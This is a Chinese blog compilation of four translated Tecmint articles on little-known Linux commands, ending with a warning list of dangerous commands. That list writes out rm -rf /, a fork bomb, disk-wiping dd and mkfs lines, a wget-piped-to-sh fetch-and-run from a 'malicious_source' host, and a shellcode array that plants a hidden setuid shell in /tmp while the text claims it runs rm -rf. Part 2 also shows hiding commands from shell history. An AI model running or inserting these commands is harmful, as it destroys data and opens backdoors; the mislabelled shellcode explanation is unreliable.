Linux命令行吸引了大多数Linux爱好者。一个正常的Linux用户一般掌握大约50-60个命令来处理每日的任务。Linux命令和它们的转换对于Linux用户、Shell脚本程序员和管理员来说是最有价值的宝藏。有些Linux命令很少人知道,但不管你是新手还是高级用户,它们都非常方便有用。
1. 11 个很有用但鲜有人知的 Linux 命令[1]
Linux命令行吸引了大多数Linux爱好者。一个正常的Linux用户一般掌握大约50-60个命令来处理每日的任务。Linux命令和它们的转换对于Linux用户、Shell脚本程序员和管理员来说是最有价值的宝藏。有些Linux命令很少人知道,但不管你是新手还是高级用户,它们都非常方便有用。
少有人知道的Linux命令
这篇文章的目的是介绍一些少有人知的Linux命令,它们一定会高效地帮你管理你的桌面/服务器。
1. sudo !!命令
没有特定输入sudo命令而运行,将给出没有权限的错误。那么,你不需要重写整个命令,仅仅输入'!!'就可以抓取最后的命令。
- $ apt-get update
- E: Could not open lock file /var/lib/apt/lists/lock - open(13: Permission denied)
- E: Unable to lock directory /var/lib/apt/lists/
- E: Could not open lock file /var/lib/dpkg/lock - open(13: Permission denied)
- E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
- $ sudo !!
- sudoapt-get update
- [sudo] password forserver:
- …
- ..
- Fetched 474 kB in16s (28.0 kB/s)
- Reading package lists... Done
- server@localhost:~$
2. python命令
下面的命令生产一个通过HTTP显示文件夹结构树的简单网页,可以通过浏览器在端口8000访问,直到发出中断信号。
- # python -m SimpleHTTPServer
3. mtr命令
我们大多数都熟悉ping和traceroute。那对于把两个命令的功能合二为一的mtr命令呢。如果mtr没在你的机子上安装,apt或者yum需要的包。
- $ sudo apt-get install mtr (On Debian based Systems)
- # yum install mtr (On Red Hat based Systems)
现在运行mtr命令,开始查看mtr运行的主机和google.com直接的网络连接。
- # mtr google.com
mtr命令
4. Ctrl+x+e命令
这个命令对于管理员和开发者非常有用。为了使每天的任务自动化,管理员需要通过输入vi、vim、nano等打开编辑器。
仅仅从命令行快速的敲击“Ctrl-x-e”,就可以在编辑器中开始工作了。
5. nl命令
“nl命令”添加文件的行数。一个叫做'one.txt'的文件,其每行的内容是(Fedora、Debian、Arch、Slack和Suse),给每行添加行号。首先使用cat命令显示“one.txt”的文件内容。
- # cat one.txt
- fedora
- debian
- arch
- slack
- suse
现在运行“nl命令”,以添加行号的方式来显示。
- # nl one.txt
- 1 fedora
- 2 debian
- 3 arch
- 4 slack
- 5 suse
6. shuf命令
“Shut”命令随机从一个文件或文件夹中选择行/文件/文件夹。首先使用ls命令来显示文件夹的内容。
- # ls
- Desktop Documents Downloads Music Pictures Public Templates Videos
- # ls | shuf (shuffle Input)
- Music
- Documents
- Templates
- Pictures
- Public
- Desktop
- Downloads
- Videos
- # ls | shuf -n1 (pick on random selection)
- Public
- # ls | shuf -n1
- Videos
- # ls | shuf -n1
- Templates
- # ls | shuf -n1
- Downloads
注意:你可以把‘ n1’替换成‘ n2’来输出两个随机选择或者使用 n3、 n4等数字输出其他任意的随机选择。
7. ss命令
“ss”表示socket统计。这个命令调查socket,显示类似netstat命令的信息。它可以比其他工具显示更多的TCP和状态信息。
- # ss
- State Recv-Q Send-Q Local Address:Port Peer Address:Port
- ESTAB 0 0 192.168.1.198:41250 *.*.*.*:http
- CLOSE-WAIT 1 0 127.0.0.1:8000 127.0.0.1:41393
- ESTAB 0 0 192.168.1.198:36239 *.*.*.*:http
- ESTAB 310 0 127.0.0.1:8000 127.0.0.1:41384
- ESTAB 0 0 192.168.1.198:41002 *.*.*.*:http
- ESTAB 0 0 127.0.0.1:41384 127.0.0.1:8000
8. last命令
“last”命令显示的是上次登录用户的历史信息。这个命令通过搜索文件“/var/log/wtmp”,显示logged-in和logged-out及其tty‘s的用户列表。
- # last
- server pts/0 :0 Tue Oct 22 12:03 still logged in
- server tty8 :0 Tue Oct 22 12:02 still logged in
- …
- ...
- (unknown tty8 :0 Tue Oct 22 12:02 - 12:02 (00:00)
- server pts/0 :0 Tue Oct 22 10:33 - 12:02 (01:29)
- server tty7 :0 Tue Oct 22 10:05 - 12:02 (01:56)
- (unknown tty7 :0 Tue Oct 22 10:04 - 10:05 (00:00)
- reboot system boot 3.2.0-4-686-pae Tue Oct 22 10:04 - 12:44 (02:39)
- wtmp begins Fri Oct 4 14:43:17 2007
9. curl ifconfig.me
那么如何得到你的外部IP地址呢?使用google?那么这个命令就在你的终端输出你的外部IP地址。
- # curl ifconfig.me
注意:你可能没有按照curl包,你需要 apt/yum来按照包。
10. tree命令
以树式的格式得到当前文件夹的结构。
11. pstree
这个命令显示当前运行的所有进程及其相关的子进程,输出的是类似‘tree’命令的树状格式
目前为止就这么多。在下篇文章中,我将涉及一些其他很少有人知道的有趣的Linux命令。到那时连接 Tecmint保持收看。喜欢和分享将有助于我们传播。
2. 10 个鲜为人知的 Linux 命令 - Part 2 [2]
继续上篇文章《11 个很有用但鲜有人知的 Linux 命令》。在本文中,我们将关注其他几个不为人知的Linux命令,有些在管理桌面和服务器方面被证明是非常有用的。
12. <空格> 命令
你在终端上键入的每个命令都会记录到history,也能用history命令重新调用。
如何骗过history 命令呢?呵呵,你可以轻而易举地做到。在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了。
让我们体验一下吧,先在终端尝试五个常见的 Linux 命令并在命令之前留个空(例如** ls, pwd, uname, echo “hi”** 和 who),然后检查这些命令是不是记录在历史中。
- avi@localhost:~$ ls
- avi@localhost:~$ pwd
- avi@localhost:~$ uname
- avi@localhost:~$ echo “hi”
- avi@localhost:~$ who
现在运行 history 命令来查看上面已执行的命令是否已经被记录了。
- avi@localhost:~$ history
- 40 cd /dev/
- 41 ls
- 42 dd if=/dev/cdrom1 of=/home/avi/Desktop/squeeze.iso
- 43 ping www.google.com
- 44 su
你看到没有最后执行的命令没有被记录。我们也可以用另一个命令cat | bash欺骗history,结果跟上面一样。
13. stat 命令
Linux中的stat命令用来显示文件或文件系统的状态信息。当用文件名作为参数时,stat将会展示文件的全部信息。状态信息包括文件 大小、块、权限、访问时间、修改时间、状态改变时间等。
- avi@localhost:~$ stat 34.odt
- File: `34.odt'
- Size: 28822 Blocks: 64 IO Block: 4096 regular file
- Device: 801h/2049d Inode: 5030293 Links: 1
- Access: (0644/-rw-r--r--) Uid: ( 1000/ avi) Gid: ( 1000/ avi)
- Access: 2013-10-14 00:17:40.000000000 +0530
- Modify: 2013-10-01 15:20:17.000000000 +0530
- Change: 2013-10-01 15:20:17.000000000 +0530
14. <alt> + . 和 <esc> + .
上面的组合键事实上不是一个命令,而是传递最后一个命令参数到提示符后的快捷键,以输入命令的倒序方式传递命令。按住 Alt或Esc再按一下 “.”。
15. pv 命令
在电影里尤其是好莱坞电影你可能已经看见过模拟文本了,像是在实时输入文字,你可以用pv命令仿照任何类型模拟风的文本输出,包括流水线输出。pv可能没有在你的系统上安装,你需要用apt或yum获取安装包,然后安装pv到你的机器。
- root@localhost:# echo "Tecmint [dot] com is the world's best website for qualitative Linux article" | pv -qL 20
输出样式
- Tecmint [dot] com is the world''s best website for qualitative Linux article
16. mount | colum -t
上面的命令用一个很不错的格式与规范列出了所有挂载文件系统。
- avi@localhost:~$ mount | column -t
输出样式
- /dev/sda1on / type ext3 (rw,errors=remount-ro)
- tmpfson /lib/init/rw type tmpfs(rw,nosuid,mode=0755)
- proc on /proc type proc (rw,noexec,nosuid,nodev)
- sysfson /sys type sysfs(rw,noexec,nosuid,nodev)
- udev on /dev type tmpfs(rw,mode=0755)
- tmpfson /dev/shm type tmpfs(rw,nosuid,nodev)
- devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
- fusectl on /sys/fs/fuse/connections type fusectl (rw)
- binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev)
- nfsd on /proc/fs/nfsd type nfsd (rw)
17. Ctr+l 命令
在进行下一步之前,我先问一下,你是如何清理你的终端?呵呵,你会在提示符后键入 “clear”。好的。用上面的命令执行清理终端都将成为过去。你只需要按下Ctr+l,看看它如何立即清理你的终端。
18. curl 命令
在命令行下如何检查你的未读邮件?这个命令对于工作在没有图形界面的服务器的人佷有用。它会在运行期间再次要求输入密码,你不需要在上面一行硬编码你的密码,否则会有其它安全风险。
- avi@localhost:~$ curl -u avishek1210@gmail.com --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print \t if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
输出样式
- Enter host password for user 'avishek1210@gmail.com':
- Gmail - Inbox for avishek1210@gmail.com
- People offering cars in Delhi - Oct 26
- Quikr Alerts
- another dependency question
- Chris Bannister
- Ralf Mardorf
- Reco
- Brian
- François Patte
- Curt
- Siard
- berenger.morel
- Hi Avishek - Download your Free MBA Brochure Now...
- Diya
- ★Top Best Sellers Of The Week, Take Your Pick★
- Timesdeal
- aptitude misconfigure?
- Glenn English
- Choosing Debian version or derivative to run Wine when resource poor
- Chris Bannister
- Zenaan Harkness
- Curt
- Tom H
- Richard Owlett
- Ralf Mardorf
- Rob Owens
19.screen 命令
screen命令能断开一个会话下的一个长时间运行的进程并能再次连接,如有需要,也提供了灵活的命令选项。
要运行一个长时间的进程,我们通常执行:
- avi@localhost:~$ ./long-unix-script.sh
缺乏灵活性,需要用户持续当前的会话,但是如果我们执行上面的命令是:
- avi@localhost:~$ screen ./long-unix-script.sh
它能在不同会话间断开或重连。当一个命令正在执行时按“Ctrl + A”然后再按“d”来断开。
重新连接运行:
- avi@localhost:~$ screen -r 4980.pts-0.localhost
注解:在这里,这个命令的稍后的部分是screen id,你能用‘screen -ls’命令查看。欲了解更多关于screen命令和它们的用法,请阅读我们的一些帮助文章:10 个screen命令的示例。
20. file
No!写上面的命令不是笔误. ‘file’是一个能提供关于文件类型信息的命令。
- avi@localhost:~$ file 34.odt
- 34.odt: OpenDocument Text
21. id
上面的命令会打印真正的和有效的用户和组的id。
- avi@localhost:~$ id
输出样式
- uid=1000(avi) gid=1000(avi)
- groups=1000(avi),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),117(scanner)
3. 10 个鲜为人知的 Linux 命令 - Part 3 [3]
我们继续“10个鲜为人知Linux命令系列”的第三部分。或许你已经知道了这些命令,那你无疑是一个有经验而喜欢探索的Linux用户。
22. ^foo^bar 命令
在一个实例中运行修改后的最后一个命令。假设我需要运行一个命令'ls -l'来详细列出‘Desktop’目录下的内容。意外地,你打了'lls -l'。所以你需要重新打整个命令或者使用导航键编辑前面的命令。当你的命令很长时这个很痛苦。
- avi@localhost:~/Desktop$ lls -l
- bash: lls: command not found
- avi@localhost:~/Desktop$ ^lls^ls
- ls -l
- total 7489440
- drwxr-xr-x 2 avi avi 36864 Nov 13 2012 101MSDCF
- -rw-r--r-- 1 avi avi 206833 Nov 5 15:27 1.jpg
- -rw-r--r-- 1 avi avi 158951 Nov 5 15:27 2.jpg
- -rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc
注意:在上面的替换中我们使用“typo(被替换的)original_command(原始命令)”。警告!这个命令可能会非常危险!如果你有意或者无意地打错了系统命令或者任何像rm -rf那样的风险命令的话!
23. > file.txt 命令
这个命令会刷新文件的内容而不需删除然后创建相同的文件。当我们需要反复输出,或者在相同的文件上记录日志时,这个命令就非常有用。
我有一个有很多文字的‘test.txt’文件在我的‘Desktop‘上。
- avi@localhost:~/Desktop$ cat test.txt
- Linux
- GNU
- Debian
- Fedora
- kali
- ubuntu
- git
- Linus
- Torvalds
- avi@localhost:~/Desktop$ > test.txt
- avi@localhost:~/Desktop$ cat test.txt
注意:再说一次,这个命令可能很危险!永远不要尝试刷新系统文件或者某篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题!
24. at 命令
‘at‘命令与cron 命令相似也可用于安排一个任务或者在某个特定时刻执行命令。
- avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 14:012
或
- avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 2:12 PM
示例输出
- -rw-r--r-- 1 avi avi 220492 Nov 1 13:49 Screenshot-1.png
- -rw-r--r-- 1 root root 358 Oct 17 10:11 sources.list
- -rw-r--r-- 1 avi avi 4695982080 Oct 10 20:29 squeeze.iso
- ..
- ..
- -rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc
- -rw-r--r-- 1 avi avi 96206 Nov 5 12:56 Untitled 1.odt
- -rw-r--r-- 1 avi avi 9405 Nov 12 23:22 Untitled.png
注意:echo “ls -l”的意思是,将这串命令(这里是 ls -l)输出在标准终端上。你可以用你需要或者选择的命令替代‘ls -l‘。
> :重定向输出
/dev/pts/0:这是输出设备和/或文件,输出到指定的地方,这里输出在终端(/dev/pts/0)。
就我而言,此时我的tty在/dev/pts/0。你可以用tty命令检查你的tty。
- avi@localhost:~/Desktop$ tty
- /dev/pts/0
注意:‘at‘会在系统时间匹配到特定时间时会尽快执行。
25. du -h –max-depth=1 命令
下面的命令以人类可读的形式输出当前目录的子目录的大小。
- avi@localhost:/home/avi/Desktop# du -h --max-depth=1
- 38M ./test
- 1.1G ./shivji
- 42M ./drupal
- 6.9G ./101MSDCF
- 16G .
注意:上面的命令在检查系统使用率是非常有用。
26. expr 命令
‘expr‘不是那么鲜为人知的命令。这个命令在终端中计算简单的算数时非常有用。
- avi@localhost:/home/avi/Desktop# expr 2 + 3
- 5
- avi@localhost:/home/avi/Desktop# expr 6 – 3
- 3
- avi@localhost:/home/avi/Desktop# expr 12 / 3
- 4
- avi@localhost:/home/avi/Desktop# expr 2 \* 9
- 18
27. look 命令
在终端上从英文字典上查单词以防混淆。比如说,我记不清了是该拼成carrier还是carieer。
- avi@localhost:/home/avi/Documents# look car
- Cara
- Cara's
- …
- ...
- carps
- carpus
- carpus's
- carrel
- carrel's
- carrels
- carriage
- carriage's
- carriages
- carriageway
- carriageway's
- carried
- carrier
- carrier's
- carriers
- carries
- …
- ...
- caryatids
上面的命令会显示字典上所有以'car'开头的单词。我得到了我想找的。
28. yes 命令
另外一个命令在通常基础上并不会经常使用,但是在脚本语言和系统管理时非常有用。
这个命令会持续地输出给定的字符串,直到由你的中断命令打断。
- avi@localhost:~/Desktop$ yes "Tecmint is one of the best site dedicated to Linux, how to"
- Tecmint is one of the best site dedicated to Linux, how to
- Tecmint is one of the best site dedicated to Linux, how to
- Tecmint is one of the best site dedicated to Linux, how to
- Tecmint is one of the best site dedicated to Linux, how to
- …
- …
- ...
- Tecmint is one of the best site dedicated to Linux, how to
- Tecmint is one of the best site dedicated to Linux, how to
- Tecmint is one of the best site dedicated to Linux, how to
29. factor 命令
factor实际是一个源于数学的命令。这个命令会输出所有给定数字的因数。
- avi@localhost:~/Desktop$ factor 22
- 22: 2 11
- avi@localhost:~/Desktop$ factor 21
- 21: 3 7
- avi@localhost:~/Desktop$ factor 11
- 11: 11
30. ping -i 60 -a IP_address
我们都用ping命令检测服务器是否连通。我通常ping google,来检测我是否连接到了因特网。
当你等待或者持续盯着你的终端等待命令的回应或者等待服务器的连接时,有时是很气人的。
一旦服务器连通就有一个声音如何(译注:下面命令是等60秒PING一次)?
- avi@localhost:~/Desktop$ ping -i 60 -a www.google.com
- PING www.google.com (74.125.200.103) 56(84) bytes of data.
- 64 bytes from www.google.com (74.125.200.103): icmp_req=1 ttl=44 time=105 ms
- 64 bytes from 74.125.200.103: icmp_req=2 ttl=44 time=281 ms
注意:当你发现命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘sound preferences(声音选项)‘ 中启用并确保勾选了‘Enable window and window sound‘。
31. tac 命令
这个命令很有趣,他会以倒序输出文本文件的内容。也就是从最后一行到第一行。
在home目录下,我的Documents目录下有一个35.txt文件。用cat 命令检查内容。
- avi@localhost:~/Documents$ cat 35.txt
示例输出
- Linux is built with certain powerful tools, which are unavailable in windows.
- One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
- Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages.
现在用tac命令反转文件内容(译注:当然,我们知道cat反转过来就是tac)。
- <code>avi@localhost:~/Documents$ tac 35.txt </code>
示例输出
- Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages.
- One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
- Linux is built with certain powerful tools, which are unavailable in windows.
现在结束了。如果你还知道其他一些Linux鲜为人知的命令,你可以在下面评论,那么我们你可以在以后的文章中包含进来。
4. 永远不要在Linux执行的10个最危险的命令 [4]
Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对Linux或Linux 命令行的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。)
1. rm -rf 命令
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。
·rm 命令在Linux下通常用来删除文件。
·rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
·rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。)
·rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
·rm -rf * : 强制删除当前目录的所有文件。
·rm -rf . : 强制删除当前文件夹及其子文件夹。
从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)
2. :(){:|:&};: 命令
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
- :(){:|:&};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
3. 命令 > /dev/sda
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null
这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
- # mv /home/user/* /dev/null
上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
6. mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。)
7. > file
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar
这个命令在我们十个鲜为人知的 Linux 命令 - Part 3中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
10. 隐藏命令
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
- char esp[] __attribute__ ((section(“.text”))) /* e.s.p
- release */
- = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
- “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
- “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
- “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
- “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
- “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
- “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
- “cp -p /bin/sh /tmp/.beyond; chmod 4755
- /tmp/.beyond;”;
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章作者和Tecmint概不负责。(译注:译者和转载网站也不负责~!)
今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问Tecmint。如果你知道任何其他危险的Linux命令,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。
=================================================================
本系列转自51CTO翻译的比较经典的文章:
[1] 11 个很有用但鲜有人知的 Linux 命令: http://os.51cto.com/art/201310/414075.htm
原文链接: http://www.tecmint.com/11-lesser-known-useful-linux-commands/
[2] 10 个鲜为人知的 Linux 命令 - Part 2 : http://os.51cto.com/art/201311/417843.htm
原文链接: http://www.tecmint.com/10-lesser-known-linux-commands-part-2/
[3] 十个鲜为人知的 Linux 命令 - Part 3 : http://os.51cto.com/art/201311/418808.htm
原文链接: http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
[4] 永远不要在Linux执行的10个最危险的命令 : http://os.51cto.com/art/201312/421854.htm
原文链接:http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/